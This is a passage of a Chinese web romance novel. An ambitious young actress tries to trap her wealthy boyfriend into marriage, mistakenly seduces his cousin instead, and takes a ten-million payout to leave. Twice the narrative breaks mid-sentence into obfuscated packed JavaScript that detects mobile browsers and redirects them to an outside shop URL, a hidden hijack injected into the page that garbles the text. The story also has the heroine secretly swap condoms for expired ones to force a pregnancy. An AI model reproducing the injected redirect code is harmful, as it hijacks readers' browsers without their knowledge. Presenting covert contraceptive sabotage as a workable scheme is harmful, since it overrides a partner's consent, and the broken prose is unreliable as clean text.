“好吧。”表妹大发慈悲地说,“反正,这也不是秘密。” 周清蕴小时候,母亲病逝。他父亲再娶。 没多久,新老婆很快生了个儿子。大摆周岁宴,但小孩年龄却对不上,掐指一算,小孩在周父上一任妻子还在世时就有了。周围人表面上不说,背地里疯传。 周清蕴当时才七八岁,被家里保姆欺负,周绍晨的妈妈看不过,就接到自己这边养着。相当于半个亲儿子了。 这也是为什么周绍晨和周清蕴不是亲兄弟感情却很好。外界也总把周绍晨叫周二少,比起小三上位的孩子,嫡长子和另一位弟弟自然关系更近。 同时,周绍晨的妈妈也是周清蕴妈妈的亲妹妹。俩人即是堂亲又是表亲。 周清蕴管她叫小姨,而不是婶婶。 周清蕴初中时就被接回家里,他父亲觉得亲儿子总住在外面不是回事,不像一家人。 周清蕴也没抗拒,只是每周也会回小姨和叔叔这里聚一聚。 听着听着,有豪门那味儿了。 静笙心思转动。 也就是说,只要嫁给周绍晨,周清蕴也间接成为她的资源。这两人感情很好,经济关联也密切。 这简直太完美了!她内心微微雀跃。 表妹把谈静笙送达后,接了个电话就离开。静笙打量室内的设计和摆件。有专职的管家负责打理一切,每一个角落都一尘不染。 书房有很多书和电子产品,最常用的是游戏。 可以看出周绍晨家庭氛围还不错。某个书架摆放着几张全家福,周清蕴也在里面。和他现在的成熟相比略显稚嫩,但气质中总有种全世界和我无关的疏离感。 拉开抽屉,还有另外一个女孩的相框。如此特殊对待,大概是曾经喜欢的姑娘。 她看着有点眼熟,想不起了在哪里见过,穿得很朴素,不太像他们家人,总之也是小白花路线。 她拿出手机拍了一张,便于以后模仿。 离开书房,她在储物室里找到计生用品。 日期还很新鲜。 静笙迅速看了眼紧闭的房门,迅速翻出包,从里面掏出几枚,将盒子里的套替换。 牌子是一样的,只不过静笙拿的那几枚是过期的。 以她对周绍晨的了解,怀上孩子才能嫁给他。 不能保证一次就中,但值得赌一把。 做完这一切后,她吐出一口气。转身来到卧室,这里气息略微不同。少了点人工香水的匠气,多了点林涧植物的天然,稍显陌生。 卧室自然没人。 也没有任何女性的痕迹。 静笙也受不了身上的奶油和啤酒的黏腻,先去周绍晨浴室洗澡。 全是男士用品,因为今天开派对,管家也全都换成新的。 她打开水龙头,先是淋浴,洗净皮肤,看到落地窗前巨大的浴缸里,再滑进去,泡一会儿澡。全当星级酒店享受。 吹干长发,静笙没有穿浴衣,而是踩着宽大的男士拖鞋来到衣帽间。 一打开,里面全都是黑白灰蓝色系调的衣裤,偏商务。也有一些运动衣,不多。 静笙没太疑惑,毕竟周绍晨现在是个商务男,学生时代的很多潮牌也就私下穿穿。 手指滑过一排排考究的布料,她挑了一件质地精良柔软的衬衣,套进袖子,长度正好堪堪遮挡臀部。 穿衣镜里,她再解开最上面两粒扣子,露出线条优美的锁骨和半弧曲线。 外表是无懈可击的,内心却怀揣个兔子,在喉咙里疯狂弹跳。 她不知道能不能顺利。 也不知道自己的决定是否正确。 周绍晨个子高长得帅,对女朋友也尊重。有几次他们接吻,她都能感到他反应很大,但她只要做出害羞的表情拒绝,他就能管住自己。 即便她知道他心里有个忘不掉的暗恋对象,他作为男友,也足够差强人意。 他通过了静笙对他的各项测试。 和他结婚,她绝不会后悔。即使以后他变了,出轨或离婚,静笙也能从婚姻中获得好处。这个位置不是她也是别人,那么为什么不能是她? 思索之时,她听到有人进来,似乎在打电话,声音透过门板,削弱了音量,闷闷地传来。 随后,浴室传来水声,哗啦啦地浇在心头。 静笙耐心等待声音全部消退,才捂着胸口,小心地挪到卧室。 4. 第 4 章 灯全部被熄灭,窗帘闭合。 唯一的光源是笔记本充电线上的显示灯,一米绿色。 此刻,周遭安静得只能听到床上男人规律的呼吸。 空气中弥漫淡淡的玫瑰香水,借着微光一看,是她送给周绍晨的复古玫瑰。只有她送他这种花,所以记得很清楚。 但不是一大捧,只余几朵玫瑰,被随手扔在床头。 静笙来不及想更多,踮着脚尖走近床沿,嗅到一丝丝酒味,他喝了不少。 静笙心想,不知这男人喝醉了能不能行。 试试吧。 她轻咳,故意制造一点声音,让他知道她还在,“周哥哥,你睡了吗?” 没有人回答她。 但,床上的男人似乎动了下。好像被她吵醒。 静笙缓慢地将膝盖压在床上,柔软的床垫微微凹陷。黑暗中,能看到男人模糊的侧脸线条,正面对她侧睡。 她深吸一口气,按住胸前长长的发尾,俯身,将唇覆在他凸起的喉结上。 ** 周清蕴每年都会出席弟弟的生日派对,尽管他一向对这种闹腾的场合敬谢不敏。 今年,他送周绍晨的礼物是一艘游艇,可以为他明年跟朋友们在海上办party。游玩时也不必租用别人的。叔叔和小姨不太赞成他这样铺张,但也不会多说什么。 周清蕴头疼另一个原因,应知许也在。 弟弟暗恋应知许这事谁都知道,他今后找的女朋友也都像她。清纯漂亮,小倔强的女孩子。 这很容易被有心人利用,钻了空子。 至少,绍晨的现任女友可不是什么省心的女生。 今晚,周清蕴和港城那边的合作商多应酬了些,喝了很多酒,尚且保持一丝清明。 来到以前的家,还算放松。也是不巧,刚来就碰见周绍晨在招待应知许。 应知许正研究手里几束玫瑰,周绍晨看她喜欢,就把一捧花都送到她怀里。 三人如常打过招呼,周清蕴对弟弟说了生日快乐,抬步就要走。 应知许叫他一声,“清蕴哥,这个送你,我也没带什么给你,借花献佛好啦。” 她递过几支娇艳的玫瑰。 周清蕴看着她,本想拒绝,但反应比平时慢了几秒。周绍晨懒洋洋地开口说:“哥,你就收着吧。” 那花大概不是她挑选的礼物,收了也就收了。 周清蕴接过来,只道声谢,“回礼就找绍晨要。” 周绍晨佯装不悦地“喂”了声。 等应知许离开,周清蕴问周绍晨,“你那个小女朋友没和你一起?” “她困了,先回我房间睡。” 周绍晨看到兄长不赞同的目光,啧一声,“我现在喜欢的是静笙,和知许只是朋友。” “既然不喜欢她,就和她划清界限,而不是让曾经喜欢过的女孩和现女友待在一个屋檐下。” 虽然,周清蕴觉得那女孩应该不会介意。 周绍晨沉默片刻,说一声“知道了”。为避免再被教育,他推周清蕴赶快去休息。 周清蕴最后叮嘱他一句:“记得别弄出孩子。你要是奉子成婚,小姨能打断你的腿。” 周绍晨不自在地蹭蹭眉骨,“哥你快走吧!” 周清蕴独自坐电梯到达三层,娴熟地往自己的卧室走。 关上房门,再随手上锁。楼下有陌生人在,他不喜欢被打扰。即使外人也进不来,客房都在二楼。 因为是儿时的住所,他在精神上放松警惕,再加上酒精的作用,他忽视了浴室里残留的湿气。 即使被清理过一遍,镜子边缘还是滑下一道隐秘的水痕。 他也没看到,只要转个视线,就能发现被换下的鱼尾晚礼服、满钻银色高跟鞋、T型内裤、揭下来的一对胸贴——这些完全不属于这里的外来物种。 洗漱后,随手套上浴袍,周清蕴再脑中过完一遍今天的工作,便躺在熟悉的床上,不需要适应,很快陷入睡眠。 神识被隔离在一层玻璃罩之内,他听到有人在叫他“小周哥哥”。 下意识,他以为是她。 同辈中,他最年长,很多弟弟妹妹称呼他为“哥”或“清蕴哥”。只有记忆里的那个女孩子,在信里叫他“小周哥哥”,后来他们终于相遇,她规规矩矩地称他为周总。再然后……记忆突然被一种奇异的触感打断。 喉结处被温润的东西覆盖,淡雅的香味入侵鼻腔,攻击性不强烈,但丝丝缕缕地缠绕收紧。怀里有什么贴过来,软得不可思议。 在半梦半醒中,他试探着问一句,“昭昭?” 静笙依在男人怀里,觉得他洗澡后的味道很好闻,鼻尖在他锁骨蹭了蹭,再嗅了嗅。 她不记得自己有告诉过周绍晨自己的小名,但眼下顾不得这么多,她柔和着嗓音问:“你喝多少酒啊?” “还好,不算太多。” 他的声音比平时温柔低磁,静笙也不自觉用气音讲话,“头疼吗?” 不等他回应,她的掌心抚摸他的脸,在他太阳穴上轻按,心里想的是周绍晨你一定要清醒一点。不然今天白来一趟! 这个时候,他捉住她的手腕,在她掌心吻了下。 另一只手按住她的后背,加深这个怀抱。有些用力,她嗯了一声,再忍住。室内太暗了,他在她干净的脸庞吻了吻,几经辗转,才寻到她的唇。 一股极其清冽的薄荷味占据口腔,他大概是醉了,力道比以往的都重。静笙今天既然想勾引他,势必要比以往主动,于是,她第一次探出颤巍巍的舌尖。 对方的攻势却和以往的不同,有些毫无章法地寸寸地辗过。她快呼吸不过来了,赶紧侧过脸,在他颈窝大口喘气。 察觉到她闪躲,周清蕴蹙眉,更把她往胸口摁,这是一种新鲜的体验,也就只有在梦里才会实现。如此逼真,如此梦幻。所以,放纵一下也没关系。 肌骨的摩挲中,静笙唯一系着的衬衫扣子也崩掉,她感觉到,酒精似乎不影响他的功能和行动,她咬紧下唇,抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482952|201855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿,勾在他的腰上。 但是,下一刻,她感受到对方的力气极大,似乎要把她骨头揉碎。疼痛有些超乎自己的承受范围。 “等一下!轻一点……有点痛。” “哪里痛?” “哪里都痛。” 他也就叹口气,卸了一半力气,吻在她的颈项流连,“这样呢?” “嗯……可以的。” 静笙放松下来,酒精还是没影响到他的脑子嘛。她试着谈判:“你……你会对我负责吗?” “结婚吧。” 他的声音不是很清晰,但给出了明确的承诺。 静笙意外地瞠目,“真的吗?” 他似乎笑了,气息喷洒在耳膜,“当然是真的,我什么时候骗过你。所以,回来吧,昭昭。” 静笙从他的话里听到笃定,以前,周绍晨从来避开结婚的话题。 但,男人在床上说话的只在床上作数,不能当真。 他们为了和女人□□,什么山盟海誓都能讲得出口。 提了裤子,这事就当没发生过,还会对别的女人讲同样的话。 不过,没关系。静笙捧住他的脸,微张唇瓣,送上甜蜜的吻。 这一次他们配合的很好。唇齿交缠中,带起细微的水声和彻底乱掉的喘息,略略的羞耻和生涩,肌肤在反复耐心的触碰和抚摸中渐渐升温。静笙喜欢他的味道他的温度,暖暖的,酥酥麻麻的,能够感觉到被珍重。好像他真的很喜欢她。 但渐渐地,他力道又开始加重,一把捞过她的腰。谈静笙刹那间脸色发白。 “等……不行。” “停停停……周绍晨!你先停一下!” “咚”的一声,床头的鹦鹉螺不小心被谈静笙挥落在地,地毯吸收了一部分声音,但还是发出沉闷的钝响。 这个声音像某种开关,照亮一整片神思清明。 床上的两个人维持面对面的姿势,静止许久。 静笙轻轻转动眼珠,不知是不是自己的突然叫停惹他不高兴了。 听说男人都不喜欢这样,但她也没办法。体验实在不好,或许应该等他明天酒醒再说。 不急于一时。 正要讲点什么的时候,他忽然起身,身上压迫力骤减,随后哒的一声,地灯渐次点亮。 卧室很大,灯光昏黄,也能照清每一处幽暗。 静笙的视线始终没有离开他,很快,她就看清男人那张英俊而冷峭的脸。光从侧面打过去,被高挺的鼻梁阻隔,于是另小半张侧脸被阴影覆盖,形成半明半寐的视觉效果。 意外来得如此猝不及防,反而让大脑变得迟钝。几息之后,静笙那双带着雾气的眼睛终于才缓缓瞠大,疑惑消失,只剩惊恐。 不,说是惊悚也不为过。 刚才与自己接吻的男人不是男友,而是男友那位难糊弄、不友善的冷面兄长。 而周清蕴也在用同样的目光看着自己,只是,他的眸底在很快冷静过后,多了化不开的清冷和嫌恶。 5. 第 5 章 缱绻的气息荡然全无。 彼此的皮肤上仍残留对方的余温。动荡的喘息逐渐平缓,乃至死寂。 片刻后,周清蕴离开,再返身时,手里提着一件西服,兜头照在静笙的头上,她这才意识到身上的衬衫扣子已经蹦开,连忙颤着指尖裹紧西服。 周清蕴见不得她还待在自己的床上,一把提起她瘦弱的手臂,让她坐在地毯。静笙吓了一跳,惊呼出声,蜷缩双腿。 他略皱眉,再将床尾凳上的薄毯扔给她。 “解释,你出现在我房间里的原因。” 他的声音已经全无刚才的温柔,眼眸因愤怒而亮极,克制着即将迸发的恼意。 静笙的嘴巴和舌头还在发麻,脑子里一团糟,但被这男人的态度一激,脸当即冷下来,“是你妹妹带我来的。不关我的事!” 周清蕴侧头深呼吸,此刻酒已经全都醒了。 不需要多问,联系刚才的对话,他很快梳理好整件事。 他们表妹可能弄错了他和周绍晨的房间,导致谈静笙误进了他的卧室。而为了开party,管家将门禁全开,先打扫一遍卫生,补充日用品。 弟弟这位女友以为他是周绍晨,今天又是他生日,她打算借此怀孕结婚。 算盘打得很好。 如果这里不是他的房间,真可能被她得逞。 “你今晚必须和绍晨分手。” 周清蕴的低音掷地有声。 静笙倏地抬头看他,又有些被看透的心虚,小声反驳,“凭什么?这跟你没有关系。” 周清蕴重复说:“没有关系?” 静笙用手背抹嘴巴,“就当拍吻戏了。” “没人在和你演戏。” 静笙仰着脖子,双颊绯红,但眼睛又是清明的,“哦,那你要对你弟弟说,咱俩刚才差点睡了吗?” 周清蕴似乎听不得这样粗鄙的语言,微拢眉梢,心里对此等情景的厌恶更多一分。 但他反而笑了,“和你以为的这些没有关系,没人会把意外当真。是我,还有邵晨的父母都对你不满意,不会让你们在一起。” 静笙内心下沉,她当然清楚,嘴上却不能落下风,“一个人结婚都要听父母的安排,那他的人生很失败了。” 周清蕴极淡看她一眼,“在我面前,用不着说这么天真的话。” 静笙垂下眼帘。 所谓上流社会讲究强强联合,一个人的婚姻如果和他背后的家庭无关,最大的原因也不过是筹码给得不够多。而周绍晨也不会为了她同家人产生罅隙。 她明白,周清蕴明白,他也知道她明白。 “我不会分手。我是……喜欢周绍晨才想和他结婚。” 周清蕴说:“你喜欢他?你连我和他都分辨不出来?” 静笙瞪他:“你也把我当成了别人!” 周清蕴开启一瓶水,仰头喝下几口,冲淡口腔中的异样,“不管你怎么想,我保证,你不会嫁给他。” 静笙胸口起伏,委屈地想哭,但硬是被她憋住。 周清蕴冷漠地迎接她的目光,真的是很漂亮的女孩子,不论是打扮精心,还是稍显凌乱,那张氧气感充盈的光洁面孔都过于鲜明地抢占瞳仁。 可同时,她也是很金玉其外败絮其中,徒有其表的花架子。 他欣赏有野心的人,但不喜欢投机取巧,也厌恶自己成为被攻略的客体。 平常,这类女孩,他不会多给眼神。 但她这一眼,又有那么点与众不同。 执着到这个份儿上,反而让人夸她一句敬业。 周清蕴拧上瓶盖,“今晚这事,也不全是你一个人的错。我会承担一部分责任。” 静笙缓缓抬眼。 周清蕴坐在旁边的藤椅上,取出一支烟,并不急着吸。手指捻着烟丝,蜿蜒血管凸起。他只是以谈判的姿态对待这件事。 “给你一个选择,你想要资源还是想要钱。接受之后,今晚让人送你走。” 谈静笙能听出来,这并不是一个选择。 如果她继续和周绍晨在一起,拿到手里的东西只会更少。 她根本没有选择。 周清蕴说:“不要有多余的心思,如果你足够聪明。” 他的瞳仁反射着几点光,但那光只是浮于表面,照不进心里。表情压抑着不耐,似乎这件事完全是他的污点。 任何人被他用这样的目光看着,很难不感到屈辱。 任何心机都在这双眼睛面前无所遁形。 静笙完全没有料到会是这个局面。水光潋滟的唇翕动数次。徒劳地意识到自己说什么都没用。 她紧紧攥着西服领子,脖颈弯成脆弱的弧线,上面隐约还有齿痕,“我选择……先把衣服穿好。” ** 凌晨的路况畅通无阻,仿佛繁忙都市的另一个平时宇宙。 静笙没有回家,也没有回宿舍,而是在一家酒店临时入住。 周清蕴的司机将她送达后,返程回别墅。全程素质极佳地保持沉默。 她把自己摔在床上,身上穿的全是周清蕴的衬衣和西装。 他的衣帽间里没有一件女士用品,本可以叫管家送上几件备用,但又完全没必要多此一举。便让她自己随便挑两件。尽快走人。 静笙同样只想快点离开那里,被别人看到就糟了,稀里糊涂地套上,西服还好,西裤尺码不对,总是要掉,她得时刻攥着皮带才行。 兵荒马乱的一天总算结束。 太沮丧了。衣服也懒得脱。 但思绪沉寂下来之后,鼻腔里全被周清蕴的气息霸占,她想到,原来他也有那么温柔的时刻,只不过对象完全不是她。 太烦了。 最后,还是把衣服脱下,换上酒店的浴袍。 静笙手里,多了一张名片。 上面印有周清蕴的联系方式。但他说,让她加上他助理的号码,以便明天商谈具体细节。 整件事,周清蕴本人完全不打算参与进来,只做最终决策。 他也完全不想再和弟弟的女友有任何牵连。 过了会儿,周绍晨打来电话。 他也喝多了,声音有点含糊,“静笙,你在哪?” 静笙这才注意到,他和堂兄的声音也很像,尤其当周清蕴温和讲话的时候,在电话里几乎分不出来。 他们也都是精瘦的体型,常年保持健身。 她看过周绍晨游泳时,脱下上半身衣服的倒三角身材,也感受过周清蕴压在她小腹上的腹肌块垒。 都差不多,她哪里分辨得清楚。 静笙只说在他家住不习惯,已经回家住了,明天有工作,后天再见面。 没见到她,周绍晨自然有些失望,但也松口气,明天不用带她见父母,也不用再聊结婚的话题。 “早点睡,后天我去找——” 他话没说完,静笙已经挂了电话。 既然决定要分手,也没有必要继续和他浪费时间。 周绍晨只以为她睡了。没太在意。 朋友又来他房间找他,非要唱歌。周绍晨哪敢吵周清蕴的清净,让他们滚去KTV。一伙人开着一水儿的跑车,准备换场子。 周绍晨换身衣服,却看到周清蕴从房间走出,穿戴整齐,衬衫扣子系到最后一颗。似乎要直接出席重要会议。 看到周绍晨,他神情极度不耐,想说什么又闭嘴。 周绍晨只以为他对自己今天见应知许不满,赶紧转移话题,“哥,你不在这睡下吗?” “你这太吵。” 周清蕴按电梯下行键。 周绍晨摸摸鼻子,也没有太吵吧,他们都在地下室玩,“那你明天还来吗?” “我不来,但你要来公司一趟。” “啊?明天可是我生日……” 周清蕴根本懒得再回应他,大步跨进电梯。 周绍晨“哎”了一声,想说的话又吞回肚子里。 他很想打趣一句,他脖子上怎么有女人的牙印,刚过来的时候好像也没有,但他直觉这句话只会火上浇油,还是选择闭嘴。 他哥哥也到了该结婚的阶段了。 过去的事,是时候放下。 ** 静笙睡到第二天上午退房。 她已经换回自己的简单装扮,周清蕴那套定制西装被她装进袋子里,不知如何处置。 以周清蕴的性格,大概不会让她还回去,她也不知道这东西能不能往出租赁,毕竟私人订制的东西都绣有他名字的首字母缩写。 静笙回校后,联系了董菲儿。 董菲儿也是圈内的十八线,但她目前不接戏,以网红为主业,在短视频平台混得也算风生水起,经营自己的服装店。还有个倒卖二手奢侈品的副业。 静笙和她合作多次,混成了老熟人。最缺钱的时候给她淘宝店当过一段时间的模特。 董菲儿今天要拍vlog素材,顺便请谈静笙一起吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482953|201855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她也就把一大袋子的西服拿过来。 “你连你男朋友的衣服都要卖?”董菲儿扒拉下来墨镜。 静笙说:“不是我男朋友的。” 董菲儿给她竖起大拇指:“那就是小三还是小四的。姐妹福气太大了,给我蹭蹭好运。” 静笙不想说话。 如果告诉她这是男朋友的哥哥的,而这套西服又为什么出现在她手里,那么,她保证下一秒全世界都知道这件事。 董菲儿还是瞅了眼西服尺码,大概是个身量高,比例又好的男人。心里赞叹吃得不错。 她也知道谈静笙交往的男人是周家二公子,这么好的金龟婿,还钓别的男人,董菲儿只能劝她——小心点,别被发现。 董菲儿真心认为,长成静笙这样子就得游戏人间,把男人耍得团团转。但她还算谨慎,有心机,又不过分。恋爱也是认真谈。 瞧着静笙神色恹恹,她说起正事:“租当然是能租的。让裁缝改一改尺码,一次能有几百块甚至上千块。蚊子腿也是肉。” 静笙想了想,“还是算了。” 她不想这事被周清蕴知道,他又会怎样。 昨夜,她换完衣服,便做好了选择。重新来到周清蕴面前。 她说,她想要钱。 周清蕴口中的资源,只能保证一部上星剧女主,但不保证会火,也不保证片酬,更不保证后续资源和团队运营,风险其实很大。 但钱是实打实的。 这算她离开周绍晨的分手费,也算是今晚乌龙事件的封口费。 收了这钱,她要彻底从周家消失。 周清蕴给出的数字是一千万。 静笙稍微吃惊,不是因为他慷慨大方——一千万当然很多,对周家来说,只是周绍晨一年的生活费。而是因为,这个数字刚好这符合她心中的预期。 既不多也不少,正正好好。 周清蕴不愧是生意场上的人,拿捏人心的精准程度让人背脊发寒。 静笙很快点头同意。 周清蕴倒是颇有点意外,好像认定她会讨价还价,借此索要更多。 他同样没多言,跟她说明天会到账。 而这个金额,在她中午洗澡的时候已经收到提示。 一次进账这么多,静笙数了好几遍零,再确认大写金额,有被砸懵的晕眩,喜悦极度膨胀,深呼吸几次,在酒店的大床上打滚。 而等这种晕眩散去,她飘飘然地退房。当望着落地窗外,汇入人群,内心又感到一种茫然的虚空。好像被针刺了一下,疼,又很快恢复。似乎不值一提。 这异常很快被一种巨大的轻松覆盖,她可以在这个城市和姐姐有底气地活下去。 既然收了钱,她也决定做个嘴严的乙方,不留有任何泄露秘密的机会。 “我和周绍晨快分手了。” 不交代点八卦,董菲儿不会罢休,静笙告知她自己的感情现状。 “啊?为什么啊。之前不是说能结婚最好?” 董菲儿无不遗憾,如果静笙能加入豪门,她也能蹭个人脉。 “我也有点累了。” 静笙就像即将离职的公司员工,内心只有畅快。 总在周绍晨面前当小白花表演谈恋爱也是心累。他总有一天会发现自己功利的本质。 或许早点放过他也好。 静笙奇怪地想,是不是人一旦有了钱,就凭空多了点良心。 提起周绍晨,他这个时间也该醒了。 熬夜一整晚,下午才醒来,他似乎预感到什么,一直在给静笙发微信。 今天是周绍晨生日,他和父母一起过,不方便打来语音视频。 静笙一开始并不想回。此刻还是有一搭没一搭地陪他聊一会儿。 到了傍晚,他暂时停止发来微信,和父母亲戚聚餐。 静笙本想直接给他发信息说分手,觉得不够正式,去楼下买了一张信纸,郑重地在上面写了一封分手信。 这是她的习惯,在电子化日趋成熟的当下,她更偏爱写字,好像更易传达自己的感情。 她想起多年以前,也曾和一个人通信时长达三年之久,后来断了联系,只知道他的姓氏,很巧,也姓周。如今再回忆,已经忘得七七八八,只觉得现在的自己和小时候的自己分裂成两个截然不同的人格。 写好后,静笙叫了同城快递,设定明早送达。 这段短暂的恋情,就这样匆忙地结束了。 6. 第 6 章 静笙拿到一笔巨款后,第一个要做的就是把姐姐转到国际部单间病房。 佳宜拒绝了,人多也有人多的好处,大家可以互相照应互相解闷,单人病房会憋出病来。静笙也就随她,多请了一名护工。 第二个想法就是买第二套房。 她发现,手里有几十万的时候,付个商品房首付足矣。手里有几百万的时候,想购入套大平层或复式。手里有上千万的时候,她又开始看别墅样图,还不能是联排别墅,得是拥有自己花园的独栋别墅。 而能养得起花园别墅,又必须请专职保洁和园丁清洁打理,这又是一笔巨额支出。 欲念真的是不知足的巨口怪兽。一不留神就会连骨带肉地被吞噬进去。 静笙闭紧眼睛,用手心啪啪拍自己脸颊数次,克制心中暴烈搅动的消费欲,最后跟中介租下的是三环附近的中高档公寓。 这里环境温馨而适宜,物业有口皆碑。是很多金融白领的首选之地。 或许真的有走运这一说。搬家这几日,静笙在网络上忽然小火一把。 她先前拍的那部MV上线,因为那首歌被下沉平台推流,静笙作为女主,美得实在很突出,配合实景和运镜,一颦一笑,顾盼有意。 很多人在问女主是谁,她的各大社交账户粉丝涨了大几千。 但是,光凭脸蛋是很难留住观众的。 娱乐圈美女如云,新人一茬又一茬。 没有故事,没有角色,没有爆点,更没有嘲点,过两天就会被遗忘。 即便如此,这不妨碍静笙心情愉快地去工作。 和同事打招呼时,脸上的笑容越发灿烂。 经常和她一起吃盒饭的是一个叫桑榆的女孩,刚从舞蹈学院毕业,早早地闯社会。 “笙笙,你今天心情很好?” “今天天气很蓝。” “……但也是真冷。” 桑榆奇怪看她,待会儿她们还要穿夏季戏服在外面拍戏。 静笙仍然回以迷之微笑。过了会儿,导演喊演员集合。 这是一个待爆咖云集的现代剧,制作算精良,静笙自己试镜上一个戏份很少的角色。三四集就下线。 静笙接戏的标准是:钱多就行。 小演员,报酬是比普通上班族好很多,但也是苦力活。番位大的几个位置都被大大小小的资源咖占据,留下的几口汤七刮八蹭,漏在她们手里的不多。 有的时候钱不够了,短剧也接。 静笙的底线是横短,绝不能拍质量参差不齐的竖短。 没有人脉和后台,在这一行,也只能在边缘地带混到人老珠黄。而每个月的社保、房租、伙食费,以及为保持好形象所必须的服饰费保养费又不能缩减太少。底层演员焦虑是常态。 这个组里,静笙演的是个插足男女主的大小姐角色。黑长直造型,为了突出角色特点,化妆师给她画了浓妆。 本就突出的形象,一眼就能被看到。 往常,她们这些小配角都是在B组拍摄,轻易撞不见A组,今天不同,静笙和男女主有对手戏。 饰演女主的演员一看到她,面露不悦,跟经纪人小声耳语,导演就一声令下,把静笙的妆容改了。 这一回,倒是没那么突出。而是奇怪。端正流畅的五官配上不和谐的妆容,像带了抽象派面具——抹掉卧蚕,不适合的眼影,把口红涂一半以达到视觉上缩短上唇的效果。 女主演这次满意了,拍摄继续。 静笙对此习以为常。拍完戏后,就去休息。 去买咖啡时,和男主演狭路相逢,也是同龄的男生,今天也刚演完对手戏,静笙饰演的女配要强吻他再被女主撞见的戏码。 没有真的吻上,只亲到下巴。 这算是静笙的荧幕初吻,自己没什么感觉。 毕竟,没亲嘴巴,也不伸舌头。只糊了她一嘴的粉底。 排队中,俩人聊天,主要是男主演在聊。 问她学校和专业,又问她老家在哪。最后问她单不单身,静笙说单身。 他接到了什么信号似的,抢着为她买单,“哎,我觉得你比女主好看。今晚有空一起玩?” 静笙对他莞尔一笑,“哦,谢谢你的咖啡。但你比女主难看。” 男人脸僵了一下,看着手机上刚刷出去的四十多块,冲女生翩然离去的背影骂一声:“捞货!” 身后,有人嗤笑一声,“几十块钱也叫捞?哥们,别太幽默。” 男主演被戳中,想回呛,考虑到这里人多,自己又有点名气,他压了压棒球帽。 静笙已经走了,回头看了一眼,是另一个没见过的男演员。 ** 收工后的晚上,静笙打开手机,查看消息。 昨天邮寄的信已经显示被签收。 周绍晨一直静悄悄的,因为她已经全面拉黑他的所有账号和手机号码,也从宿舍搬走,工作地点又飘忽不定。 他想立刻找到她也不容易。 再说,他们之间也没太深的感情,周绍晨对她可能是愧疚更多,剩下的只有男女之间直白的吸引力。换成别的女孩也不是不行。 静笙在剧组住了几天,杀青后,回到自己的公寓。 刚洗完澡,有人联系她,竟是业内一个颇有名气的经纪人,杨磊,江湖人称杨哥。 他开门见山,说看过她演过几个小角色,觉得她外形不错,表演自然,先见一面聊聊。 静笙不想错过这个机会,换了衣服就准备下楼。 他们在一间茶馆见面。距离经纪公司近,也比较正式。 杨磊见了她本人,当即眼前一亮。谨慎起见再看她身高和侧面。静笙熟练地照做。 刚开始入行时还有被挑猪肉的不适,现在已经完全适应。 酒桌上,面对下流笑话也能面不改色,甚至能笑意盈盈地再升一番。心里的不适,只能理解为修行还不够。 演员必修课之一,所谓的解放天性,就是放弃部分隐私和颜面,能有多不要脸就有多不要脸。底线一退再退。 都说娱乐圈是大染缸,静笙觉得这行更像一件坚不可摧的光鲜容器,里面的人想要适应,就得敲碎脊骨,重塑肉身,缝补黏合,最终变成它的形状。 静笙有意无意,也在往这边靠拢。 也难怪被那人瞧不起。 “挺好,不用吃整容的苦。但也要节食保持身材,定期去美容院。” 再美貌的皮囊也需要金钱维持。 杨磊再问了她很多有的没的。马上给出一个可以炒作吸粉的几套方案。 比如静笙是孤儿,只有一个姐姐,可以操独立打工养家的人设。 比如静笙可以炒作学霸人设,冷门专业也没关系,高考分是实打实的。 比如静笙在学校名声不好,能洗白成因为太美而遭遇校园霸凌。 自然还问了她感情生活。 静笙说:“刚分手。” 杨磊品着茶,没问是谁:“只要没被拍什么照片视频就成。还有聊天记录也不要太露骨。” 她保证:“没有这些。” 剩下的,静笙几乎知无不言。 唯独没提姐姐生病和生父是谁。 数个小时后,聊的差不多了。 杨磊跟她说,可以的话,明天过来签约。让她考虑一下。 静笙觉得没什么好考虑的,她需要这份资源,一个人单打独斗是不会被这个圈子所包容的,自己也没办法去抗衡韩庆文背后的资本。 但她没立刻答应,沉吟着说明天给答复。 翌日一早,她准时去经纪公司报道。 公司名字叫浩川文娱,签了她10年经纪约,三七分成,艺人拿三,公司拿七。如果她知名度上升,也可以重新协商比例。 条件看着苛刻,但不是针对她,而是浩川旗下几乎所有的新人都是如此。 浩川资源多,培训专业,静笙也会受益。 进公司几天,静笙跟几个同事混了个脸熟,大家都是同行,也就是竞争者,如果不是关系已经很好,是不会搭理新人的。担心会被蹭热度。 静笙在公司里遇见了桑榆,才知道她也是这家公司的艺人。 两个新人,自然而然报团取暖。 杨磊在微信上叫她们去参加一个局,比较商业化,穿好看得体点。桑榆立刻答应。 静笙问主要做什么,杨磊说:“喝喝酒、唱唱歌,主要带你混脸熟。有什么资源优先想起你。” 要见的人是浩川的老板之一,公司所有签约的艺人总要给他见一见。 静笙觉得混局也是工作的一部分,点头同意。 约定地点是个高端会所,但和周绍晨带她去的俱乐部氛围完全不一样。 这里更像三教九流之地,只不过被包装得纸醉金迷。 空气中,酒味,香水味,混合在一起。 还未进门,里面便有笑声传出。 侍者为他们推开门。 几个娱乐圈眼熟的艺人也在,不全是女明星,也有爆红的男流量,春风满面地为几个男人斟酒。 不管咖位大小,都是供资本们解闷的工具。 其中派头最大的,要数坐在主位的一个年轻男人,他三十六七岁,嘴里衔着烟,时不时地吞云吐雾,标准的纨绔子弟面相,只有身上的西装还算正经。 